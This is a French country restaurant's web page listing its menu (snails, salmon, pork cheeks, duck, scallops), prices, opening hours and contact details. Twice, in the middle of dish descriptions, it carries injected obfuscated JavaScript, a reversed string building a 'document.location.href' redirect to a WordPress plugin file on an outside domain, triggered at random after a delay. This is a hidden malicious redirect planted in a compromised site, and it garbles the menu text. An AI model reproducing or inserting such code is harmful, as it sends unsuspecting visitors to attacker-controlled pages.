»exemple

»Entrées
Poêlée d’escargots en persillade, émulsion de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topinambours et poitrine fumée 16€
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Saumon mariné à la Scandinave, guacamole crémeux, vinaigrette aux zestes d’agrumes et pain croustillant 17 €
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Mousseline d’églefin à la truffe noire*, fondue de poireaux et crème de crustacés 17 €
*Tuber Melanosporum
»Plats
Noix de joues de cochon braisées à la bière brune, mousseline de panais, endives caramélisées à la moutarde et oignons frits 20 €
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Filet de canette servi rosé, purée de chou rouge et coings rôtis, jus réduit au vinaigre de vin et épices douces 22 €
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Noix de Saint-Jacques rôties aux épices cajun, fine purée de céleri et légumes racines 23€
»Fromages
Sélection de fromages, petite salade de saison et fruits secs 10 €
Prix T.T.C. et service compris
Sauf mention spécifique, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toutes nos viandes sont d’origine Française ou U.E.
Horaires
Lundi: Fermé
Mardi: Fermé
Mercredi: 12:00-13:30, 19:30-20:30*
Jeudi: 12:00-13:30, 19:30-20:30*
Vendredi: 12:00-13:30, 19:30-21:00
Samedi: 12:00-13:30, 19:30-21:00
Dimanche: 12:00-13:30
*Le soir: ouvert uniquement
sur réservation prise avant 19h00
Coordonnées
Téléphone
+33(0)2 33 24 08 54
auberge.ecuyernormand@gmail.com
Addresse
23 route de Paris
61 300 Chandai